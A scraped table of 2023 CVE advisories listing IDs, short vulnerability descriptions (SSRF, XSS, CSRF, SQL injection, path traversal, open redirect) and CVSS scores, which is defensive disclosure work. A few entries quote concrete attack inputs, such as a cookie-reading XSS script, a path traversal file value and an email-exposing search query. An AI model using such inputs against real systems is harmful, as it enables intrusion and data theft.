CVE-2023-50720	XWiki Platform is a generic wiki platform. Prior to versions 14.10.15, 15.5.2, and 15.7-rc-1, the Solr-based search in XWiki discloses the email addresses of users even when obfuscation of email addresses is enabled. To demonstrate the vulnerability, search for `objcontent:email*` using XWiki's regular search interface. This has been fixed in XWiki 14.10.15, 15.5.2 and 15.7RC1 by not indexing email address properties when obfuscation is enabled. There are no known workarounds for this vulnerability.	5.3	More Details
CVE-2022-45809	Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in Ricard Torres Thumbs Rating.This issue affects Thumbs Rating: from n/a through 5.0.0.	5.3	More Details
CVE-2023-6839	Due to improper error handling, a REST API resource could expose a server side error containing an internal WSO2 specific package name in the HTTP response.	5.3	More Details
CVE-2023-6065	The Quttera Web Malware Scanner WordPress plugin before 3.4.2.1 doesn't restrict access to detailed scan logs, which allows a malicious actor to discover local paths and portions of the site's code	5.3	More Details
CVE-2023-50266	Bazarr manages and downloads subtitles. In version 1.2.4, the proxy method in bazarr/bazarr/app/ui.py does not validate the user-controlled protocol and url variables and passes them to requests.get() without any sanitization, which leads to a blind server-side request forgery (SSRF). This issue allows for crafting GET requests to internal and external resources on behalf of the server. 1.3.1 contains a partial fix, which limits the vulnerability to HTTP/HTTPS protocols.	5.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48441	Adobe Experience Manager versions 6.5.18 and earlier are affected by an Improper Access Control vulnerability. An attacker could leverage this vulnerability to achieve a low-confidentiality impact within the application. Exploitation of this issue does not require user interaction.	5.3	More Details
CVE-2023-50439	ZED containers produced by PRIMX ZED! for Windows before Q.2020.3 (ANSSI qualification submission), ZED! for Windows before Q.2021.2 (ANSSI qualification submission), ZONECENTRAL for Windows before Q.2021.2 (ANSSI qualification submission), ZONECENTRAL for Windows before 2023.5, or ZEDMAIL for Windows before 2023.5 disclose the original path in which the containers were created, which allows an unauthenticated attacker to obtain some information regarding the context of use (project name, etc.).	5.3	More Details
CVE-2021-42794	An issue was discovered in AVEVA Edge (formerly InduSoft Web Studio) versions R2020 and prior. The application allows a client to provide a malicious connection string that could allow an adversary to port scan the LAN, depending on the hosts' responses.	5.3	More Details
CVE-2023-6891	A vulnerability has been found in PeaZip 9.4.0 and classified as problematic. Affected by this vulnerability is an unknown functionality in the library dragdropfilesdll.dll of the component Library Handler. The manipulation leads to uncontrolled search path. An attack has to be approached locally. Upgrading to version 9.6.0 is able to address this issue. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-248251. NOTE: Vendor was contacted early, confirmed the existence of the flaw and immediately worked on a patched release.	5.3	More Details
CVE-2023-44982	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Jordy Meow Perfect Images (Manage Image Sizes, Thumbnails, Replace, Retina).This issue affects Perfect Images (Manage Image Sizes, Thumbnails, Replace, Retina): from n/a through 6.4.5.	5.3	More Details
CVE-2023-48379	Softnext Mail SQR Expert is an email management platform, it has inadequate filtering for a specific URL parameter within a specific function. An unauthenticated remote attacker can perform Blind SSRF attack to discover internal network topology base on URL error response.	5.3	More Details
CVE-2023-6757	A vulnerability was found in Thecosy IceCMS 2.0.1. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /adplanet/PlanetUser of the component API. The manipulation leads to information disclosure. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-247885 was assigned to this vulnerability.	5.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2022-41677	An information disclosure vulnerability was discovered in Bosch IP camera devices allowing an unauthenticated attacker to retrieve information (like capabilities) about the device itself and network settings of the device, disclosing possibly internal network settings if the device is connected to the internet.	5.3	More Details
CVE-2023-42183	lockss-daemon (aka Classic LOCKSS Daemon) before 1.77.3 performs post-Unicode normalization, which may allow bypass of intended access restrictions, such as when U+1FEF is converted to a backtick.	5.3	More Details
CVE-2023-6758	A vulnerability was found in Thecosy IceCMS 2.0.1. It has been rated as critical. Affected by this issue is some unknown functionality of the file /adplanet/PlanetCommentList of the component API. The manipulation leads to improper access controls. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-247886 is the identifier assigned to this vulnerability.	5.3	More Details
CVE-2023-6407	A CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability exists that could cause arbitrary file deletion upon service restart when accessed by a local and low-privileged attacker.	5.3	More Details
CVE-2023-50262	Dompdf is an HTML to PDF converter for PHP. When parsing SVG images Dompdf performs an initial validation to ensure that paths within the SVG are allowed. One of the validations is that the SVG document does not reference itself. However, prior to version 2.0.4, a recursive chained using two or more SVG documents is not correctly validated. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself. php-svg-lib, when run in isolation, does not support SVG references for `image` elements. However, when used in combination with Dompdf, php-svg-lib will process SVG images referenced by an `image` element. Dompdf currently includes validation to prevent self-referential `image` references, but a chained reference is not checked. A malicious actor may thus trigger infinite recursion by chaining references between two or more SVG images. When Dompdf parses a malicious payload, it will crash due after exceeding the allowed execution time or memory usage. An attacker sending multiple request to a system can potentially cause resource exhaustion to the point that the system is unable to handle incoming request. Version 2.0.4 contains a fix for this issue.	5.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6756	A vulnerability was found in Thecosy IceCMS 2.0.1. It has been classified as problematic. Affected is an unknown function of the file /login of the component Captcha Handler. The manipulation leads to improper restriction of excessive authentication attempts. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-247884.	5.3	More Details
CVE-2023-28053	Dell NetWorker Virtual Edition versions 19.8 and below contain the use of deprecated cryptographic algorithms in the SSH component. A remote unauthenticated attacker could potentially exploit this vulnerability leading to some information disclosure.	5.3	More Details
CVE-2023-6759	A vulnerability classified as problematic has been found in Thecosy IceCMS 2.0.1. This affects an unknown part of the file /WebResource/resource of the component Love Handler. The manipulation leads to improper enforcement of a single, unique action. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-247887.	5.3	More Details
CVE-2023-6857	When resolving a symlink, a race may occur where the buffer passed to `readlink` may actually be smaller than necessary. *This bug only affects Firefox on Unix-based operating systems (Android, Linux, MacOS). Windows is unaffected.* This vulnerability affects Firefox ESR < 115.6, Thunderbird < 115.6, and Firefox < 121.	5.3	More Details
CVE-2023-3907	A privilege escalation vulnerability in GitLab EE affecting all versions from 16.0 prior to 16.4.4, 16.5 prior to 16.5.4, and 16.6 prior to 16.6.2 allows a project Maintainer to use a Project Access Token to escalate their role to Owner	4.9	More Details
CVE-2023-47321	Silverpeas Core 6.3.1 is vulnerable to Incorrect Access Control via the "Porlet Deployer" which allows administrators to deploy .WAR portlets.	4.9	More Details
CVE-2023-49294	Asterisk is an open source private branch exchange and telephony toolkit. In Asterisk prior to versions 18.20.1, 20.5.1, and 21.0.1, as well as certified-asterisk prior to 18.9-cert6, it is possible to read any arbitrary file even when the `live_dangerously` is not enabled. This allows arbitrary files to be read. Asterisk versions 18.20.1, 20.5.1, and 21.0.1, as well as certified-asterisk prior to 18.9-cert6, contain a fix for this issue.	4.9	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-40691	IBM Cloud Pak for Business Automation 18.0.0, 18.0.1, 18.0.2, 19.0.1, 19.0.2, 19.0.3, 20.0.1, 20.0.2, 20.0.3, 21.0.1, 21.0.2, 21.0.3, 22.0.1, and 22.0.2 may reveal sensitive information contained in application configuration to developer and administrator users. IBM X-Force ID: 264805.	4.9	More Details
CVE-2023-48661	Dell vApp Manager, versions prior to 9.2.4.x contain an arbitrary file read vulnerability. A remote malicious user with high privileges could potentially exploit this vulnerability to read arbitrary files from the target system.	4.9	More Details
CVE-2023-43583	Cryptographic issues Zoom Mobile App for Android, Zoom Mobile App for iOS, and Zoom SDKs for Android and iOS before version 5.16.0 may allow a privileged user to conduct a disclosure of information via network access.	4.9	More Details
CVE-2023-47146	IBM Qradar SIEM 7.5 could allow a privileged user to obtain sensitive domain information due to data being misidentified. IBM X-Force ID: 270372.	4.9	More Details
CVE-2023-6791	A credential disclosure vulnerability in Palo Alto Networks PAN-OS software enables an authenticated read-only administrator to obtain the plaintext credentials of stored external system integrations such as LDAP, SCP, RADIUS, TACACS+, and SNMP from the web interface.	4.9	More Details
CVE-2023-30867	In the Streampark platform, when users log in to the system and use certain features, some pages provide a name-based fuzzy search, such as job names, role names, etc. The sql syntax :select * from table where jobName like '%jobName%'. However, the jobName field may receive illegal parameters, leading to SQL injection. This could potentially result in information leakage. Mitigation: Users are recommended to upgrade to version 2.1.2, which fixes the issue.	4.9	More Details
CVE-2023-5512	An issue has been discovered in GitLab CE/EE affecting all versions from 16.3 before 16.4.4, all versions starting from 16.5 before 16.5.4, all versions starting from 16.6 before 16.6.2. File integrity may be compromised when specific HTML encoding is used for file names leading for incorrect representation in the UI.	4.8	More Details
CVE-2023-6911	Multiple WSO2 products have been identified as vulnerable due to improper output encoding, a Stored Cross Site Scripting (XSS) attack can be carried out by an attacker injecting a malicious payload into the Registry feature of the Management Console.	4.8	More Details
CVE-2023-43122	Samsung Mobile Processor and Wearable Processor (Exynos 980, 850, 1080, 2100, 2200, 1280, 1380, 1330, and W920) allow Information Disclosure in the Bootloader.	4.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-5005	The Autocomplete Location field Contact Form 7 WordPress plugin before 3.0, autocomplete-location-field-contact-form-7-pro WordPress plugin before 2.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)	4.8	More Details
CVE-2023-46624	URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Parcel Pro.This issue affects Parcel Pro: from n/a through 1.6.11.	4.7	More Details
CVE-2023-6886	A vulnerability was found in xnx3 wangmarket 6.1. It has been rated as critical. Affected by this issue is some unknown functionality of the component Role Management Page. The manipulation leads to code injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-248246 is the identifier assigned to this vulnerability.	4.7	More Details
CVE-2023-6545	The package authelia-bhf included in Beckhoffs TwinCAT/BSD is prone to an open redirect that allows a remote unprivileged attacker to redirect a user to another site. This may have limited impact to integrity and does solely affect anthelia-bhf the Beckhoff fork of authelia.	4.7	More Details
CVE-2022-24351	TOCTOU race-condition vulnerability in Insyde InsydeH2O with Kernel 5.2 before version 05.27.29, Kernel 5.3 before version 05.36.29, Kernel 5.4 version before 05.44.13, and Kernel 5.5 before version 05.52.13 allows an attacker to alter data and code used by the remainder of the boot process.	4.7	More Details
CVE-2023-6755	A vulnerability was found in DedeBIZ 6.2 and classified as critical. This issue affects some unknown processing of the file /src/admin/content_batchup_action.php. The manipulation of the argument endid leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-247883. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	4.7	More Details
CVE-2023-40602	URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Doofinder Doofinder WP & WooCommerce Search.This issue affects Doofinder WP & WooCommerce Search: from n/a through 1.5.49.	4.7	More Details
CVE-2023-38478	URL Redirection to Untrusted Site ('Open Redirect') vulnerability in CRM Perks Integration for WooCommerce and QuickBooks.This issue affects Integration for WooCommerce and QuickBooks: from n/a through 1.2.3.	4.7	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-38481	URL Redirection to Untrusted Site ('Open Redirect') vulnerability in CRM Perks Integration for WooCommerce and Zoho CRM, Books, Invoice, Inventory, Bigin.This issue affects Integration for WooCommerce and Zoho CRM, Books, Invoice, Inventory, Bigin: from n/a before 1.3.7.	4.7	More Details
CVE-2023-37982	URL Redirection to Untrusted Site ('Open Redirect') vulnerability in CRM Perks Integration for Salesforce and Contact Form 7, WPForms, Elementor, Ninja Forms.This issue affects Integration for Salesforce and Contact Form 7, WPForms, Elementor, Ninja Forms: from n/a through 1.3.3.	4.7	More Details
CVE-2023-6772	A vulnerability, which was classified as critical, was found in OTCMS 7.01. Affected is an unknown function of the file /admin/ind_backstage.php. The manipulation of the argument sqlContent leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-247908.	4.7	More Details
CVE-2023-41648	URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Swapnil V. Patil Login and Logout Redirect.This issue affects Login and Logout Redirect: from n/a through 2.0.3.	4.7	More Details
CVE-2023-45105	URL Redirection to Untrusted Site ('Open Redirect') vulnerability in SERVIT Software Solutions affiliate-toolkit – WordPress Affiliate Plugin.This issue affects affiliate-toolkit – WordPress Affiliate Plugin: from n/a through 3.3.9.	4.7	More Details
CVE-2023-35883	URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Magazine3 Core Web Vitals & PageSpeed Booster.This issue affects Core Web Vitals & PageSpeed Booster: from n/a through 1.0.12.	4.7	More Details
CVE-2023-6927	A flaw was found in Keycloak. This issue may allow an attacker to steal authorization codes or tokens from clients using a wildcard in the JARM response mode "form_post.jwt" which could be used to bypass the security patch implemented to address CVE-2023-6134.	4.6	More Details
CVE-2023-6836	Multiple WSO2 products have been identified as vulnerable due to an XML External Entity (XXE) attack abuses a widely available but rarely used feature of XML parsers to access sensitive information.	4.6	More Details
CVE-2023-6900	A vulnerability, which was classified as critical, has been found in rmountjoy92 DashMachine 0.5-4. Affected by this issue is some unknown functionality of the file /settings/delete_file. The manipulation of the argument file leads to path traversal: '../filedir'. The exploit has been disclosed to the public and may be used. VDB-248258 is the identifier assigned to this vulnerability.	4.6	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6134	A flaw was found in Keycloak that prevents certain schemes in redirects, but permits them if a wildcard is appended to the token. This issue could allow an attacker to submit a specially crafted request leading to cross-site scripting (XSS) or further attacks. This flaw is the result of an incomplete fix for CVE-2020-10748.	4.6	More Details
CVE-2023-50443	Encrypted disks created by PRIMX CRYHOD for Windows before Q.2020.4 (ANSSI qualification submission) or CRYHOD for Windows before 2023.5 can be modified by an unauthenticated attacker to include a UNC reference so that it could trigger outbound network traffic from computers on which disks are opened.	4.6	More Details
CVE-2023-32728	The Zabbix Agent 2 item key smart.disk.get does not sanitize its parameters before passing them to a shell command resulting possible vulnerability for remote code execution.	4.6	More Details
CVE-2023-50248	CKAN is an open-source data management system for powering data hubs and data portals. Starting in version 2.0.0 and prior to versions 2.9.10 and 2.10.3, when submitting a POST request to the `/dataset/new` endpoint (including either the auth cookie or the `Authorization` header) with a specially-crafted field, an attacker can create an out-of-memory error in the hosting server. To trigger this error, the attacker need to have permissions to create or edit datasets. This vulnerability has been patched in CKAN 2.10.3 and 2.9.10.	4.5	More Details
CVE-2023-34382	Deserialization of Untrusted Data vulnerability in weDevs Dokan – Best WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy.This issue affects Dokan – Best WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy: from n/a through 3.7.19.	4.4	More Details
CVE-2023-5236	A flaw was found in Infinispan, which does not detect circular object references when unmarshalling. An authenticated attacker with sufficient permissions could insert a maliciously constructed object into the cache and use it to cause out of memory errors and achieve a denial of service.	4.4	More Details
CVE-2023-49840	Cross-Site Request Forgery (CSRF) vulnerability in Palscode Multi Currency For WooCommerce.This issue affects Multi Currency For WooCommerce: from n/a through 1.5.5.	4.3	More Details
CVE-2023-47789	Cross-Site Request Forgery (CSRF) vulnerability in WooCommerce Canada Post Shipping Method.This issue affects Canada Post Shipping Method: from n/a through 2.8.3.	4.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6905	A vulnerability, which was classified as problematic, has been found in Jahastech NxFilter 4.3.2.5. This issue affects some unknown processing of the file user,adap.jsp?actionFlag=test&id=1 of the component Bind Request Handler. The manipulation leads to ldap injection. The attack may be initiated remotely. The associated identifier of this vulnerability is VDB-248267. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	4.3	More Details
CVE-2023-50765	A missing permission check in Jenkins Scriptler Plugin 342.v6a_89fd40f466 and earlier allows attackers with Overall/Read permission to read the contents of a Groovy script by knowing its ID.	4.3	More Details
CVE-2023-49197	Cross-Site Request Forgery (CSRF) vulnerability in Apasionados, Apasionados del Marketing, NetConsulting DoFollow Case by Case.This issue affects DoFollow Case by Case: from n/a through 3.4.2.	4.3	More Details
CVE-2023-6761	A vulnerability, which was classified as problematic, has been found in Thecosy IceCMS up to 2.0.1. This issue affects some unknown processing of the component User Data Handler. The manipulation leads to improper access controls. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-247889 was assigned to this vulnerability.	4.3	More Details
CVE-2023-3904	An issue has been discovered in GitLab EE affecting all versions starting before 16.4.4, all versions starting from 16.5 before 16.5.4, all versions starting from 16.6 before 16.6.2. It was possible to overflow the time spent on an issue that altered the details shown in the issue boards.	4.3	More Details
CVE-2023-50372	Cross-Site Request Forgery (CSRF) vulnerability in Hiroaki Miyashita Custom Post Type Page Template.This issue affects Custom Post Type Page Template: from n/a through 1.1.	4.3	More Details
CVE-2023-3629	A flaw was found in Infinispan's REST, Cache retrieval endpoints do not properly evaluate the necessary admin permissions for the operation. This issue could allow an authenticated user to access information outside of their intended permissions.	4.3	More Details
CVE-2023-49878	IBM System Storage Virtualization Engine TS7700 3957-VEC, 3948-VED and 3957-VEC could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. IBM X-Force ID: 272652.	4.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49877	IBM System Storage Virtualization Engine TS7700 3957-VEC, 3948-VED and 3957-VEC could allow a remote authenticated user to obtain sensitive information, caused by improper filtering of URLs. By submitting a specially crafted HTTP GET request, an attacker could exploit this vulnerability to view application source code, system configuration information, or other sensitive data related to the Management Interface. IBM X-Force ID: 272651.	4.3	More Details
CVE-2023-6774	A vulnerability was found in CodeAstro POS and Inventory Management System 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /accounts_con/register_account. The manipulation of the argument Username with the input <script>alert(document.cookie)</script> leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-247910 is the identifier assigned to this vulnerability.	4.3	More Details
CVE-2023-6871	Under certain conditions, Firefox did not display a warning when a user attempted to navigate to a new protocol handler. This vulnerability affects Firefox < 121.	4.3	More Details
CVE-2023-6870	Applications which spawn a Toast notification in a background thread may have obscured fullscreen notifications displayed by Firefox. *This issue only affects Android versions of Firefox and Firefox Focus.* This vulnerability affects Firefox < 121.	4.3	More Details
CVE-2023-49155	Cross-Site Request Forgery (CSRF) vulnerability in Wow-Company Button Generator – easily Button Builder.This issue affects Button Generator – easily Button Builder: from n/a through 2.3.8.	4.3	More Details
CVE-2023-6868	In some instances, the user-agent would allow push requests which lacked a valid VAPID even though the push manager subscription defined one. This could allow empty messages to be sent from unauthorized parties. *This bug only affects Firefox on Android.* This vulnerability affects Firefox < 121.	4.3	More Details
CVE-2023-6773	A vulnerability has been found in CodeAstro POS and Inventory Management System 1.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /accounts_con/register_account of the component User Creation Handler. The manipulation of the argument account_type with the input Admin leads to improper access controls. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-247909 was assigned to this vulnerability.	4.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49844	Cross-Site Request Forgery (CSRF) vulnerability in Kevin Ohashi WPPerformanceTester.This issue affects WPPerformanceTester: from n/a through 2.0.0.	4.3	More Details
CVE-2023-47787	Cross-Site Request Forgery (CSRF) vulnerability in WooCommerce WooCommerce Bookings.This issue affects WooCommerce Bookings: from n/a through 2.0.3.	4.3	More Details
CVE-2023-6904	A vulnerability classified as problematic was found in Jahastech NxFilter 4.3.2.5. This vulnerability affects unknown code of the file /config,admin.jsp. The manipulation of the argument admin_name leads to cross-site request forgery. The attack can be initiated remotely. VDB-248266 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	4.3	More Details
CVE-2023-49749	Cross-Site Request Forgery (CSRF) vulnerability in SureTriggers SureTriggers – Connect All Your Plugins, Apps, Tools & Automate Everything!.This issue affects SureTriggers – Connect All Your Plugins, Apps, Tools & Automate Everything!: from n/a through 1.0.23.	4.3	More Details
CVE-2023-6899	A vulnerability classified as problematic was found in rmountjoy92 DashMachine 0.5-4. Affected by this vulnerability is an unknown functionality of the file /settings/save_config of the component Config Handler. The manipulation of the argument value_template leads to code injection. The exploit has been disclosed to the public and may be used. The identifier VDB-248257 was assigned to this vulnerability.	4.3	More Details
CVE-2023-50776	Jenkins PaaSLane Estimate Plugin 1.0.4 and earlier stores PaaSLane authentication tokens unencrypted in job config.xml files on the Jenkins controller where they can be viewed by users with Item/Extended Read permission or access to the Jenkins controller file system.	4.3	More Details
CVE-2023-50772	Jenkins Dingding JSON Pusher Plugin 2.0 and earlier stores access tokens unencrypted in job config.xml files on the Jenkins controller where they can be viewed by users with Item/Extended Read permission or access to the Jenkins controller file system.	4.3	More Details
CVE-2023-25651	There is a SQL injection vulnerability in some ZTE mobile internet products. Due to insufficient input validation of SMS interface parameter, an authenticated attacker could use the vulnerability to execute SQL injection and cause information leak.	4.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-27317	ONTAP 9 versions 9.12.1P8, 9.13.1P4, and 9.13.1P5 are susceptible to a vulnerability which will cause all SAS-attached FIPS 140-2 drives to become unlocked after a system reboot or power cycle or a single SAS-attached FIPS 140-2 drive to become unlocked after reinsertion. This could lead to disclosure of sensitive information to an attacker with physical access to the unlocked drives.	4.3	More Details
CVE-2023-50773	Jenkins Dingding JSON Pusher Plugin 2.0 and earlier does not mask access tokens displayed on the job configuration form, increasing the potential for attackers to observe and capture them.	4.3	More Details
CVE-2023-50775	A cross-site request forgery (CSRF) vulnerability in Jenkins Deployment Dashboard Plugin 1.0.10 and earlier allows attackers to copy jobs.	4.3	More Details
CVE-2023-50769	Missing permission checks in Jenkins Nexus Platform Plugin 3.18.0-03 and earlier allow attackers with Overall/Read permission to connect to an attacker-specified HTTP server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.	4.3	More Details
CVE-2022-43450	Authorization Bypass Through User-Controlled Key vulnerability in XWP Stream.This issue affects Stream: from n/a through 3.9.2.	4.3	More Details
CVE-2023-6893	A vulnerability was found in Hikvision Intercom Broadcasting System 3.0.3_20201113_RELEASE(HIK) and classified as problematic. Affected by this issue is some unknown functionality of the file /php/exportrecord.php. The manipulation of the argument downname with the input C:\ICPAS\Wnmp\WWW\php\conversion.php leads to path traversal. The exploit has been disclosed to the public and may be used. Upgrading to version 4.1.0 is able to address this issue. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-248252.	4.3	More Details
CVE-2023-5061	An issue has been discovered in GitLab affecting all versions starting from 9.3 before 16.4.4, all versions starting from 16.5 before 16.5.4, all versions starting from 16.6 before 16.6.2. In certain situations, it may have been possible for developers to override predefined CI variables via the REST API.	4.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6894	A vulnerability was found in Hikvision Intercom Broadcasting System 3.0.3_20201113_RELEASE(HIK). It has been classified as problematic. This affects an unknown part of the file access/html/system.html of the component Log File Handler. The manipulation leads to information disclosure. The exploit has been disclosed to the public and may be used. Upgrading to version 4.1.0 is able to address this issue. It is recommended to upgrade the affected component. The identifier VDB-248253 was assigned to this vulnerability.	4.3	More Details
CVE-2023-44284	Dell PowerProtect DD , versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 contain an SQL Injection vulnerability. A remote low privileged attacker could potentially exploit this vulnerability, leading to the execution of certain SQL commands on the application's backend database causing unauthorized read access to application data.	4.3	More Details
CVE-2023-24380	Cross-Site Request Forgery (CSRF) vulnerability in Webbjocke Simple Wp Sitemap.This issue affects Simple Wp Sitemap: from n/a through 1.2.1.	4.3	More Details
CVE-2023-49751	Cross-Site Request Forgery (CSRF) vulnerability in Ciprian Popescu Block for Font Awesome.This issue affects Block for Font Awesome: from n/a through 1.4.0.	4.3	More Details
CVE-2023-49769	Cross-Site Request Forgery (CSRF) vulnerability in SoftLab Integrate Google Drive.This issue affects Integrate Google Drive: from n/a through 1.3.4.	4.3	More Details
CVE-2023-49775	Cross-Site Request Forgery (CSRF) vulnerability in Denis Kobozev CSV Importer.This issue affects CSV Importer: from n/a through 0.3.8.	4.3	More Details
CVE-2023-49816	Cross-Site Request Forgery (CSRF) vulnerability in Innovative Solutions Fix My Feed RSS Repair.This issue affects Fix My Feed RSS Repair: from n/a through 1.4.	4.3	More Details
CVE-2023-36878	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	4.3	More Details
CVE-2023-48768	Cross-Site Request Forgery (CSRF) vulnerability in CodeAstrology Team Quantity Plus Minus Button for WooCommerce by CodeAstrology.This issue affects Quantity Plus Minus Button for WooCommerce by CodeAstrology: from n/a through 1.1.9.	4.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6789	A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS software enables a malicious authenticated read-write administrator to store a JavaScript payload using the web interface. Then, when viewed by a properly authenticated administrator, the JavaScript payload executes and disguises all associated actions as performed by that unsuspecting authenticated administrator.	4.3	More Details
CVE-2023-6289	The Swift Performance Lite WordPress plugin before 2.3.6.15 does not prevent users from exporting the plugin's settings, which may include sensitive information such as Cloudflare API tokens.	4.3	More Details
CVE-2023-50777	Jenkins PaaSLane Estimate Plugin 1.0.4 and earlier does not mask PaaSLane authentication tokens displayed on the job configuration form, increasing the potential for attackers to observe and capture them.	4.3	More Details
CVE-2023-48599	Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	4.3	More Details
CVE-2023-50870	In JetBrains TeamCity before 2023.11.1 a CSRF on login was possible	4.3	More Details
CVE-2023-42015	IBM UrbanCode Deploy (UCD) 7.1 through 7.1.2.14, 7.2 through 7.2.3.7, and 7.3 through 7.3.2.2 is vulnerable to HTML injection. This vulnerability may allow a user to embed arbitrary HTML tags in the Web UI potentially leading to sensitive information disclosure. IBM X-Force ID: 265512.	4.3	More Details
CVE-2019-25157	A vulnerability was found in Ethex Contracts. It has been classified as critical. This affects an unknown part of the file EthexJackpot.sol of the component Monthly Jackpot Handler. The manipulation leads to improper access controls. It is possible to initiate the attack remotely. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The patch is named 6b8664b698d3d953e16c284fadc6caeb9e58e3db. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-248271.	4.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2014-125107	A vulnerability was found in Corveda PHPSandbox 1.3.4 and classified as critical. Affected by this issue is some unknown functionality of the component String Handler. The manipulation leads to protection mechanism failure. The attack may be launched remotely. Upgrading to version 1.3.5 is able to address this issue. The patch is identified as 48fde5ffa4d76014bad260a3cbab7ada3744a4cc. It is recommended to upgrade the affected component. VDB-248270 is the identifier assigned to this vulnerability.	4.3	More Details
CVE-2023-47327	The "Create a Space" feature in Silverpeas Core 6.3.1 is reserved for use by administrators. This function suffers from broken access control, allowing any authenticated user to create a space by navigating to the correct URL.	4.3	More Details
CVE-2023-23576	Incorrect behavior order in the Command Centre Server could allow privileged users to gain physical access to the site for longer than intended after a network outage when competencies are used in the access decision. This issue affects: Gallagher Command Centre: 8.90 prior to vEL8.90.1620 (MR2), 8.80 prior to vEL8.80.1369 (MR3), 8.70 prior to vEL8.70.2375 (MR5), 8.60 prior to vEL8.60.2550 (MR7), all versions of 8.50 and prior.	4.3	More Details
CVE-2023-6835	Multiple WSO2 products have been identified as vulnerable due to lack of server-side input validation in the Forum feature, API rating could be manipulated.	4.3	More Details
CVE-2023-23584	An observable response discrepancy in the Gallagher Command Centre RESTAPI allows an insufficiently-privileged user to infer the presence of items that would not otherwise be viewable. This issue affects: Gallagher Command Centre 8.70 prior to vEL8.70.1787 (MR2), 8.60 prior to vEL8.60.2039 (MR4), all version of 8.50 and prior.	4.3	More Details
CVE-2023-48751	Missing Authorization, Cross-Site Request Forgery (CSRF) vulnerability in Roland Barker, xnau webdesign Participants Database allows Accessing Functionality Not Properly Constrained by ACLs, Cross Site Request Forgery.This issue affects Participants Database: from n/a through 2.5.5.	4.3	More Details
CVE-2023-47754	Missing Authorization vulnerability in Clever plugins Delete Duplicate Posts allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Delete Duplicate Posts: from n/a through 4.8.9.	4.3	More Details
CVE-2023-48769	Cross-Site Request Forgery (CSRF) vulnerability in Blue Coral Chat Bubble – Floating Chat with Contact Chat Icons, Messages, Telegram, Email, SMS, Call me back.This issue affects Chat Bubble – Floating Chat with Contact Chat Icons, Messages, Telegram, Email, SMS, Call me back: from n/a through 2.3.	4.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48781	Cross-Site Request Forgery (CSRF) vulnerability in Marketing Rapel MkRapel Regiones y Ciudades de Chile para WC.This issue affects MkRapel Regiones y Ciudades de Chile para WC: from n/a through 4.3.0.	4.3	More Details
CVE-2023-49153	Cross-Site Request Forgery (CSRF) vulnerability in Saiful Islam Add to Cart Text Changer and Customize Button, Add Custom Icon.This issue affects Add to Cart Text Changer and Customize Button, Add Custom Icon: from n/a through 2.0.	4.3	More Details
CVE-2023-49763	Cross-Site Request Forgery (CSRF) vulnerability in Creatomatic Ltd CSprite.This issue affects CSprite: from n/a through 1.1.	4.3	More Details
CVE-2023-6832	Business Logic Errors in GitHub repository microweber/microweber prior to 2.0.	4.3	More Details
